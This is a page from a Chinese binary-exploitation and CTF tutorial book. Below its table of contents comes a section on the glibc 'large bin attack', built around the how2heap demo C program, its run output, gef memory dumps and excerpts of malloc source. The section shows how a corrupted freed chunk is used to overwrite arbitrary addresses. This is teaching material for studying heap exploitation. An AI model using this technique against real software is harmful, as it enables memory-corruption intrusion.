- 简介
- 一、基础知识篇
- 二、工具篇
- 三、分类专题篇
- 四、技巧篇
- 五、高级篇
- 六、题解篇
- 6.1 Pwn
- 6.1.1 pwn HCTF2016 brop
- 6.1.2 pwn NJCTF2017 pingme
- 6.1.3 pwn XDCTF2015 pwn200
- 6.1.4 pwn BackdoorCTF2017 Fun-Signals
- 6.1.5 pwn GreHackCTF2017 beerfighter
- 6.1.6 pwn DefconCTF2015 fuckup
- 6.1.7 pwn 0CTF2015 freenote
- 6.1.8 pwn DCTF2017 Flex
- 6.1.9 pwn RHme3 Exploitation
- 6.1.10 pwn 0CTF2017 BabyHeap2017
- 6.1.11 pwn 9447CTF2015 Search-Engine
- 6.1.12 pwn N1CTF2018 vote
- 6.1.13 pwn 34C3CTF2017 readme_revenge
- 6.1.14 pwn 32C3CTF2015 readme
- 6.1.15 pwn 34C3CTF2017 SimpleGC
- 6.1.16 pwn HITBCTF2017 1000levels
- 6.1.17 pwn SECCONCTF2016 jmper
- 6.1.18 pwn HITBCTF2017 Sentosa
- 6.1.19 pwn HITBCTF2018 gundam
- 6.1.20 pwn 33C3CTF2016 babyfengshui
- 6.1.21 pwn HITCONCTF2016 Secret_Holder
- 6.1.22 pwn HITCONCTF2016 Sleepy_Holder
- 6.1.23 pwn BCTF2016 bcloud
- 6.1.24 pwn HITCONCTF2016 HouseofOrange
- 6.1.25 pwn HCTF2017 babyprintf
- 6.1.26 pwn 34C3CTF2017 300
- 6.1.27 pwn SECCONCTF2016 tinypad
- 6.1.28 pwn ASISCTF2016 b00ks
- 6.1.29 pwn Insomni'hackteaserCTF2017 TheGreatEscapepart-3
- 6.1.30 pwn HITCONCTF2017 Ghostinthe_heap
- 6.1.31 pwn HITBCTF2018 mutepig
- 6.1.32 pwn SECCONCTF2017 vmnofun
- 6.1.33 pwn 34C3CTF2017 LFA
- 6.1.34 pwn N1CTF2018 memsafety
- 6.1.35 pwn 0CTF2018 heapstorm2
- 6.1.36 pwn NJCTF2017 messager
- 6.1.37 pwn sixstarctf2018 babystack
- 6.1.38 pwn HITCONCMT2017 pwn200
- 6.1.39 pwn BCTF2018 houseofAtum
- 6.1.40 pwn LCTF2016 pwn200
- 6.1.41 pwn PlaidCTF2015 PlaidDB
- 6.1.42 pwn hacklu2015 bookstore
- 6.1.43 pwn 0CTF2018 babyheap
- 6.1.44 pwn ASIS2017 start_hard
- 6.1.45 pwn LCTF2016 pwn100
- 6.2 Reverse
- 6.3 Web
- 6.1 Pwn
- 七、实战篇
- 7.1 CVE
- 7.1.1 CVE-2017-11543 tcpdump sliplink_print 栈溢出漏洞
- 7.1.2 CVE-2015-0235 glibc _nsshostnamedigitsdots 堆溢出漏洞
- 7.1.3 CVE-2016-4971 wget 任意文件上传漏洞
- 7.1.4 CVE-2017-13089 wget skipshortbody 栈溢出漏洞
- 7.1.5 CVE–2018-1000001 glibc realpath 缓冲区下溢漏洞
- 7.1.6 CVE-2017-9430 DNSTracer 栈溢出漏洞
- 7.1.7 CVE-2018-6323 GNU binutils elfobjectp 整型溢出漏洞
- 7.1.8 CVE-2010-2883 Adobe CoolType SING 表栈溢出漏洞
- 7.1.9 CVE-2010-3333 Microsoft Word RTF pFragments 栈溢出漏洞
- 7.1 CVE
- 八、学术篇
- 8.1 The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)
- 8.2 Return-Oriented Programming without Returns
- 8.3 Return-Oriented Rootkits: Bypassing Kernel Code Integrity Protection Mechanisms
- 8.4 ROPdefender: A Detection Tool to Defend Against Return-Oriented Programming Attacks
- 8.5 Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks
- 8.7 What Cannot Be Read, Cannot Be Leveraged? Revisiting Assumptions of JIT-ROP Defenses
- 8.9 Symbolic Execution for Software Testing: Three Decades Later
- 8.10 AEG: Automatic Exploit Generation
- 8.11 Address Space Layout Permutation (ASLP): Towards Fine-Grained Randomization of Commodity Software
- 8.13 New Frontiers of Reverse Engineering
- 8.14 Who Allocated My Memory? Detecting Custom Memory Allocators in C Binaries
- 8.21 Micro-Virtualization Memory Tracing to Detect and Prevent Spraying Attacks
- 8.22 Practical Memory Checking With Dr. Memory
- 8.23 Evaluating the Effectiveness of Current Anti-ROP Defenses
- 8.24 How to Make ASLR Win the Clone Wars: Runtime Re-Randomization
- 8.25 (State of) The Art of War: Offensive Techniques in Binary Analysis
- 8.26 Driller: Augmenting Fuzzing Through Selective Symbolic Execution
- 8.27 Firmalice - Automatic Detection of Authentication Bypass Vulnerabilities in Binary Firmware
- 8.28 Cross-Architecture Bug Search in Binary Executables
- 8.29 Dynamic Hooks: Hiding Control Flow Changes within Non-Control Data
- 8.30 Preventing brute force attacks against stack canary protection on networking servers
- 8.33 Under-Constrained Symbolic Execution: Correctness Checking for Real Code
- 8.34 Enhancing Symbolic Execution with Veritesting
- 8.38 TaintEraser: Protecting Sensitive Data Leaks Using Application-Level Taint Tracking
- 8.39 DART: Directed Automated Random Testing
- 8.40 EXE: Automatically Generating Inputs of Death
- 8.41 IntPatch: Automatically Fix Integer-Overflow-to-Buffer-Overflow Vulnerability at Compile-Time
- 8.42 Dynamic Taint Analysis for Automatic Detection, Analysis, and Signature Generation of Exploits on Commodity Software
- 8.43 DTA++: Dynamic Taint Analysis with Targeted Control-Flow Propagation
- 8.44 Superset Disassembly: Statically Rewriting x86 Binaries Without Heuristics
- 8.45 Ramblr: Making Reassembly Great Again
- 8.46 FreeGuard: A Faster Secure Heap Allocator
- 8.48 Reassembleable Disassembling
- 九、附录
3.1.9 Linux 堆利用(四)
how2heap
large_bin_attack
#include<stdio.h>
#include<stdlib.h>
int main() {
unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;
fprintf(stderr, "The targets we want to rewrite on stack:\n");
fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);
unsigned long *p1 = malloc(0x100);
fprintf(stderr, "Now, we allocate the first chunk: %p\n", p1 - 2);
malloc(0x10);
unsigned long *p2 = malloc(0x400);
fprintf(stderr, "Then, we allocate the second chunk(large chunk): %p\n", p2 - 2);
malloc(0x10);
unsigned long *p3 = malloc(0x400);
fprintf(stderr, "Finally, we allocate the third chunk(large chunk): %p\n\n", p3 - 2);
malloc(0x10);
// deal with tcache - libc-2.26
// int *a[10], *b[10], i;
// for (i = 0; i < 7; i++) {
// a[i] = malloc(0x100);
// b[i] = malloc(0x400);
// }
// for (i = 0; i < 7; i++) {
// free(a[i]);
// free(b[i]);
// }
free(p1);
free(p2);
fprintf(stderr, "Now, We free the first and the second chunks now and they will be inserted in the unsorted bin\n");
malloc(0x30);
fprintf(stderr, "Then, we allocate a chunk and the freed second chunk will be moved into large bin freelist\n\n");
p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);
fprintf(stderr, "Now we use a vulnerability to overwrite the freed second chunk\n\n");
free(p3);
malloc(0x30);
fprintf(stderr, "Finally, we free the third chunk and malloc again, targets should have already been rewritten:\n");
fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
}
$ gcc -g large_bin_attack.c
$ ./a.out
The targets we want to rewrite on stack:
stack_var1 (0x7fffffffdeb0): 0
stack_var2 (0x7fffffffdeb8): 0
Now, we allocate the first chunk: 0x555555757000
Then, we allocate the second chunk(large chunk): 0x555555757130
Finally, we allocate the third chunk(large chunk): 0x555555757560
Now, We free the first and the second chunks now and they will be inserted in the unsorted bin
Then, we allocate a chunk and the freed second chunk will be moved into large bin freelist
Now we use a vulnerability to overwrite the freed second chunk
Finally, we free the third chunk and malloc again, targets should have already been rewritten:
stack_var1 (0x7fffffffdeb0): 0x555555757560
stack_var2 (0x7fffffffdeb8): 0x555555757560
该技术可用于修改任意地址的值,例如栈上的变量 stack_var1 和 stack_var2。在实践中常常作为其他漏洞利用的前奏,例如在 fastbin attack 中用于修改全局变量 global_max_fast 为一个很大的值。
首先我们分配 chunk p1, p2 和 p3,并且在它们之间插入其他的 chunk 以防止在释放时被合并。此时的内存布局如下:
gef➤ x/2gx &stack_var1
0x7fffffffde70: 0x0000000000000000 0x0000000000000000
gef➤ x/4gx p1-2
0x555555757000: 0x0000000000000000 0x0000000000000111 <-- p1
0x555555757010: 0x0000000000000000 0x0000000000000000
gef➤ x/8gx p2-6
0x555555757110: 0x0000000000000000 0x0000000000000021
0x555555757120: 0x0000000000000000 0x0000000000000000
0x555555757130: 0x0000000000000000 0x0000000000000411 <-- p2
0x555555757140: 0x0000000000000000 0x0000000000000000
gef➤ x/8gx p3-6
0x555555757540: 0x0000000000000000 0x0000000000000021
0x555555757550: 0x0000000000000000 0x0000000000000000
0x555555757560: 0x0000000000000000 0x0000000000000411 <-- p3
0x555555757570: 0x0000000000000000 0x0000000000000000
gef➤ x/8gx p3+(0x410/8)-2
0x555555757970: 0x0000000000000000 0x0000000000000021
0x555555757980: 0x0000000000000000 0x0000000000000000
0x555555757990: 0x0000000000000000 0x0000000000020671 <-- top
0x5555557579a0: 0x0000000000000000 0x0000000000000000
然后依次释放掉 p1 和 p2,这两个 free chunk 将被放入 unsorted bin:
gef➤ x/8gx p1-2
0x555555757000: 0x0000000000000000 0x0000000000000111 <-- p1 [be freed]
0x555555757010: 0x00007ffff7dd3b78 0x0000555555757130
0x555555757020: 0x0000000000000000 0x0000000000000000
0x555555757030: 0x0000000000000000 0x0000000000000000
gef➤ x/8gx p2-2
0x555555757130: 0x0000000000000000 0x0000000000000411 <-- p2 [be freed]
0x555555757140: 0x0000555555757000 0x00007ffff7dd3b78
0x555555757150: 0x0000000000000000 0x0000000000000000
0x555555757160: 0x0000000000000000 0x0000000000000000
gef➤ heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x555555757130, bk=0x555555757000
→ Chunk(addr=0x555555757140, size=0x410, flags=PREV_INUSE) → Chunk(addr=0x555555757010, size=0x110, flags=PREV_INUSE)
[+] Found 2 chunks in unsorted bin.
接下来随便 malloc 一个 chunk,则 p1 被切分为两块,一块作为分配的 chunk 返回,剩下的一块继续留在 unsorted bin(p1 的作用就在这里,如果没有 p1,那么切分的将是 p2)。而 p2 则被整理回对应的 large bin 链表中:
gef➤ x/14gx p1-2
0x555555757000: 0x0000000000000000 0x0000000000000041 <-- p1-1
0x555555757010: 0x00007ffff7dd3c78 0x00007ffff7dd3c78
0x555555757020: 0x0000000000000000 0x0000000000000000
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x00000000000000d1 <-- p1-2 [be freed]
0x555555757050: 0x00007ffff7dd3b78 0x00007ffff7dd3b78 <-- fd, bk
0x555555757060: 0x0000000000000000 0x0000000000000000
gef➤ x/8gx p2-2
0x555555757130: 0x0000000000000000 0x0000000000000411 <-- p2 [be freed]
0x555555757140: 0x00007ffff7dd3f68 0x00007ffff7dd3f68 <-- fd, bk
0x555555757150: 0x0000555555757130 0x0000555555757130 <-- fd_nextsize, bk_nextsize
0x555555757160: 0x0000000000000000 0x0000000000000000
gef➤ heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x555555757040, bk=0x555555757040
→ Chunk(addr=0x555555757050, size=0xd0, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
gef➤ heap bins large
[ Large Bins for arena 'main_arena' ]
[+] large_bins[63]: fw=0x555555757130, bk=0x555555757130
→ Chunk(addr=0x555555757140, size=0x410, flags=PREV_INUSE)
[+] Found 1 chunks in 1 large non-empty bins.
整理的过程如下所示,需要注意的是 large bins 中 chunk 按 fd 指针的顺序从大到小排列,如果大小相同则按照最近使用顺序排列:
/* place chunk in bin */
if (in_smallbin_range (size))
{
[ ... ]
}
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
{
[ ... ]
}
else
{
assert ((fwd->size & NON_MAIN_ARENA) == 0);
while ((unsigned long) size < fwd->size)
{
[ ... ]
}
if ((unsigned long) size == (unsigned long) fwd->size)
[ ... ]
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else
[ ... ]
}
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
假设我们有一个漏洞,可以对 large bin 里的 chunk p2 进行修改,结合上面的整理过程,我们伪造 p2 如下:
gef➤ x/8gx p2-2
0x555555757130: 0x0000000000000000 0x00000000000003f1 <-- fake p2 [be freed]
0x555555757140: 0x0000000000000000 0x00007fffffffde60 <-- bk
0x555555757150: 0x0000000000000000 0x00007fffffffde58 <-- bk_nextsize
0x555555757160: 0x0000000000000000 0x0000000000000000
同样的,释放 p3,将其放入 unsorted bin,紧接着进行 malloc 操作,将 p3 整理回 large bin,这个过程中判断条件 (unsigned long) (size) < (unsigned long) (bck->bk->size)
为假,程序将进入 else 分支,其中 fwd
是 fake p2,victim
是 p3,接着 bck
被赋值为 (&stack_var1 - 2)。
在 p3 被放回 large bin 并排序的过程中,我们位于栈上的两个变量也被修改成了 victim
,对应的语句分别是 bck->fd = victim;
和 ictim->bk_nextsize->fd_nextsize = victim;
。
gef➤ x/2gx &stack_var1
0x7fffffffde70: 0x0000555555757560 0x0000555555757560
gef➤ x/8gx p2-2
0x555555757130: 0x0000000000000000 0x00000000000003f1
0x555555757140: 0x0000000000000000 0x0000555555757560
0x555555757150: 0x0000000000000000 0x0000555555757560
0x555555757160: 0x0000000000000000 0x0000000000000000
gef➤ x/8gx p3-2
0x555555757560: 0x0000000000000000 0x0000000000000411
0x555555757570: 0x0000555555757130 0x00007fffffffde60
0x555555757580: 0x0000555555757130 0x00007fffffffde58
0x555555757590: 0x0000000000000000 0x0000000000000000
考虑 libc-2.26 上的情况,还是一样的,处理好 tchache 就可以了,在 free 之前把两种大小的 tcache bin 都占满。
house_of_rabbit
house_of_roman
参考资料
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论